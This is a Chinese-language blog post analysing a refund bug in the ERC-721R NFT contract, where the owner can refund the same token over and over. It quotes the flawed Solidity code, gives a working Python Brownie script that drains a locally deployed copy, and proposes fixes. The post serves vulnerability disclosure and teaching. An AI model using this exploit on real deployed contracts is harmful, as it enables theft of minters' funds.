為了改善 NFT 詐騙亂象,Exodia 創辦人 Elie Steinbock 等人提出了新的 ERC-721 合約實現方法,讓鑄幣者在一定的時間內,可以退回鑄造的 NFT 並拿回資金。但其中退款的 bug 卻導致整份合約失去了當初的立意。身為工程師不能光說無憑,實際來測試看看!
目錄
什麼是 ERC-721R?
正確來說,ERC-721R 並不是以太坊提出的新代幣標準,而是在符合 ERC-721 所需介面下,含有退款功能的合約實現。
如果有用 openzeppelin library 寫過 contract 經驗的人會知道,其中有提供各式各樣以 ERC-721 標準下去實現的合約,如 ERC721URIStorage
、ERC721Pausable
等等。ERC-721R 的層級類似這種,只是提供一個樣板,讓開發人員可以直接繼承來實作,減少開發的時間。
ERC-721R 提供了什麼新功能?
ERC-721R 提供了以下主要功能:
- 提供鑑賞期:在指定的時間內,鑄造者可以退回 NFT 並取得退款
- 提供退款:如 1. ,鑄造者退回的 NFT 預設會轉到 contract owner 的帳號下。退款則會從合約餘額中扣除,並轉回鑄造者的帳號
- 項目方領款限制:鑑賞期結束後才可領款
同時也提供其他基本功能:
- 白名單鑄造
- 合約擁有者可以免費鑄造
- 合約擁有者可以調整鑑賞期 deadline
- 因繼承 ERC-721A,具有節省 gas 的能力,並且可以一次鑄造多個 NFT
ERC-721R 的 Bug 在哪裏?
問題就發生在 ERC-721R 提供的 refund
method
我們來看在 commit 5801f4e 的 source code:
function refund(uint256[] calldata tokenIds) external {
require(isRefundGuaranteeActive(), "Refund expired");
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(msg.sender == ownerOf(tokenId), "Not token owner");
transferFrom(msg.sender, refundAddress, tokenId);
}
uint256 refundAmount = tokenIds.length * mintPrice;
Address.sendValue(payable(msg.sender), refundAmount);
}
他負責以下職責:
- 檢查是否還在退款期限內,若非則 revert
- 迭代傳進來需要退款的 NFT
tokenId
,確認sender
是該 NFT 的擁有者後,將 NFT 轉移到refundAddress
- 計算所需退款總額,發送給
sender
其中 refundAddress
初始化在 constructor
constructor() ERC721A("ERC721RExample", "ERC721R") {
refundAddress = msg.sender;
toggleRefundCountdown();
}
這會有什麼問題呢?主要出在 refund 的第二步,他只有確認退款者是 NFT 擁有者,但沒有確認退款者 address 和 refundAddress
是否一樣。
如果 msg.sender
和 refundAddress
一樣,跑完 transferFrom
後 NFT 還是在 msg.sender
身上,但他卻可以領到退款!而且退款可以重複操作,直到 contract 的 balance 歸零為止!
同時 contract 也提供 contract owner 後續再設置 refundAddress
的 method
function setRefundAddress(address _refundAddress) external onlyOwner {
refundAddress = _refundAddress;
}
也就是說,contract owner 也可以透過此 method 更換 refundAddress
,用另一個 account 把錢撈走。
contract 甚至提供 ownerMint
的方法
function ownerMint(uint256 quantity) external onlyOwner {
require(
amountMinted + quantity <= maxMintSupply,
"Max mint supply reached"
);
_safeMint(msg.sender, quantity);
}
惡意項目方可能連一個 NFT 的鑄造費都不用付,直接 ownerMint
後無限 refund
就能掏空 contract 中的 ether。
或者只要有任一鑄造者退款,項目方也能使用退到手上的 NFT 開始無限 refund
。
實際 coding 破解 ERC-721R
我們用 Brownie 框架簡單寫一個 python script 在 local 實驗上述的觀察。
延伸閱讀:如何以 Python Brownie 開發 DeFi 應用?- 環境準備
透過呼叫 demo_rug_pull
函數,做了以下事情:
- deploy
ERC721R
到 Ganache 中 - 將合約的
presaleStatus
和publicSaleStatus
設為 true,讓他可以做publicSaleMint
- 以 customer 的身份鑄造 5 個 NFT
- 以 contract owner 的身份鑄造 1 個 NFT
- 印出目前合約中的狀態,包含 owner 和 customer 所擁有的 NFT 數目,以及合約的 ether 餘額
- 撈出 address 對其擁有的 tokenId 陣列 map
- 用步驟 6 的 map 查詢 contract owner 的 tokenId,做五次重複退款
- 印出合約狀態
from brownie import accounts, network, config, ERC721RExample as ERC721R
from web3 import Web3
from time import time
from collections import defaultdict
owner_acct = accounts[0]
customer_acct = accounts[1]
def deploy():
contract = ERC721R.deploy(
{"from": owner_acct},
publish_source=config["networks"][network.show_active()].get("verify"),
)
print(f"Contract deployed to {contract.address}\n")
def toggle_sale_status():
contract = ERC721R[-1]
tx_1 = contract.togglePresaleStatus({"from": owner_acct})
tx_2 = contract.togglePublicSaleStatus({"from": owner_acct})
tx_1.wait(0.1)
tx_2.wait(0.1)
presale_active = contract.presaleActive()
public_sale_active = contract.publicSaleActive()
print(
f"toggle finish, presale status: {presale_active}, public sale status: {public_sale_active}\n"
)
def add_refund_period():
contract = ERC721R[-1]
contract.toggleRefundCountdown({"from": owner_acct})
refund_end_time = contract.refundEndTime()
print(f"refund end time: {refund_end_time}, now: {time()}")
def customer_mint():
contract = ERC721R[-1]
tx = contract.publicSaleMint(5, {"from": customer_acct, "value": "0.5 ether"})
tx.wait(0.1)
print("custmer mint successfully\n")
def owner_mint():
contract = ERC721R[-1]
tx = contract.ownerMint(1, {"from": owner_acct})
tx.wait(0.1)
print("owner mint successfully\n")
def customer_refund(token_id):
contract = ERC721R[-1]
tx = contract.refund([token_id], {"from": customer_acct})
tx.wait(0.1)
print(f"customer refund token id {token_id} successfully\n")
def owner_refund(token_id):
contract = ERC721R[-1]
tx = contract.refund([token_id], {"from": owner_acct})
tx.wait(0.1)
print(f"owner refund token id {token_id} successfully\n")
def get_nft_owner_map():
owner_map = defaultdict(list)
contract = ERC721R[-1]
total_supply = contract.totalSupply()
for i in range(0, total_supply):
owner_map[contract.ownerOf(i)].append(i)
return owner_map
def contract_status():
contract = ERC721R[-1]
owner_balance = contract.balanceOf(owner_acct)
customer_balance = contract.balanceOf(customer_acct)
print(
f"owner's balance: {owner_balance} NFT\ncustomer's balance: {customer_balance} NFT"
)
balance = Web3.fromWei(contract.balance(), "ether")
print(f"contract balance: {balance} ether")
total_supply = contract.totalSupply()
for i in range(0, total_supply):
print(f"{i} token owner: {contract.ownerOf(i)}")
print("\n")
def demo_rug_pull():
deploy()
toggle_sale_status()
customer_mint()
owner_mint()
contract_status()
nft_owner_map = get_nft_owner_map()
for i in range(0, 5):
owner_refund(nft_owner_map[owner_acct][0])
contract_status()
實際來看看結果,走到步驟五,印出合約狀態:
owner's balance: 1 NFT
customer's balance: 5 NFT
contract balance: 0.5 ether
0 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
1 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
2 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
3 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
4 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
5 token owner: 0xC553f29a2F6E3C9630dE1fBAd852212348b00632
- customer 鑄造五個 NFT ,擁有 tokenId 0 到 4,付了 0.5 ether
- contract owner 透過
ownerMint
鑄造一個 tokenId 5,不用付錢 - 因此合約餘額為 0.5 ether
接下來 contract owner 做了五次退款後,印出的合約狀態:
owner's balance: 1 NFT
customer's balance: 5 NFT
contract balance: 0 ether
0 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
1 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
2 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
3 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
4 token owner: 0x3dc91394c466cD192Eaa19000A6055a790d6e91c
5 token owner: 0xC553f29a2F6E3C9630dE1fBAd852212348b00632
tokenId 5 依然在 contract owner 身上,但他成功透過 refund
方法的漏洞,盜走合約餘額 0.5 ether,符合我們先前的討論。
ERC-721R 該怎麼填補漏洞?
填補的方法蠻多,比如說:
- 在
refund
方法中禁止msg.sender == refundAddress
但這個方案需要同時刪除setRefundAddress
方法,否則依然可以透過搭配修改refundAddress
,讓同一張 NFT 做多次退款掏空合約餘額 - 在
refund
中限制一張 NFT 只能退款一次
可以解決問題,但退款過的 NFT 若是透過二手市場售出,就再也不能退款,買家較難直接分辨,需要額外的溝通
ERC-721R 項目方後續修正採用法二,但實際應用上還是要看項目方的應用情境,選擇用哪一種方式來避免 Rug Pull。
ERC-721R 的其他潛在問題
最後以個人的觀點討論一下 ERC-721R 的其他面向。
違反區塊鏈不可變更的精神?
社群中有人認為 ERC-721R 提供退款機制違反了區塊鏈不可變更的精神,我個人是不這麼認為。
所謂區塊鏈不可變更,意思是指一但 block 寫入後,該 block 就不能再被修改。
以退款為例,他做的事情其實跟買賣 NFT 一樣,一樣呼叫 transferFrom
方法轉移所有權,同時將新的所有權資料寫入新的 block,過程中並沒有修改過往的 block。假設這麼做違反精神,那買賣 NFT 也是違反的。
鑑賞期並不是鑄造者實際鑄造後開始計算?
合約中定義的鑑賞期和我們直覺得不一樣,不是鑄造後開始算一段時間,而是設定一個退款 deadline,所有人都一樣。因此如果很靠近 deadline 才鑄造的話,可能沒有足夠的時間讓鑄造者思考並發起退款。
怎麼區別 NFT 項目是否使用有 Bug ERC-721R?
只能自己從 etherscan 去看 NFT 的 smart contract source code。畢竟他只是一種實現方式,並非代幣標準,無法從 NFT 交易平台,如 OpenSea 在 Detail 區域提供的 Token Standard 來判斷。
延伸閱讀:
自己寫 NFT 吧!- 實現 ERC-721 – 以 Python Brownie 開發
自己寫 NFT 吧!- Deploy 到 Ganache – 以 Python Brownie 開發
自己寫 NFT 吧!- 準備 Metadata – 以 Python Brownie 開發
自己寫 NFT 吧!- Deploy 到 Rinkeby testnet – 以 Python Brownie 開發
參考資料:
ERC721R 風險分析
ERC721R 新標準發布!允許用戶在鑄造 NFT 後「期限內反悔退款」;但遭社群打槍
ERC721R 遭爆存在致命 BUG!開發者示警: NFT 項目方可藉此掏空資金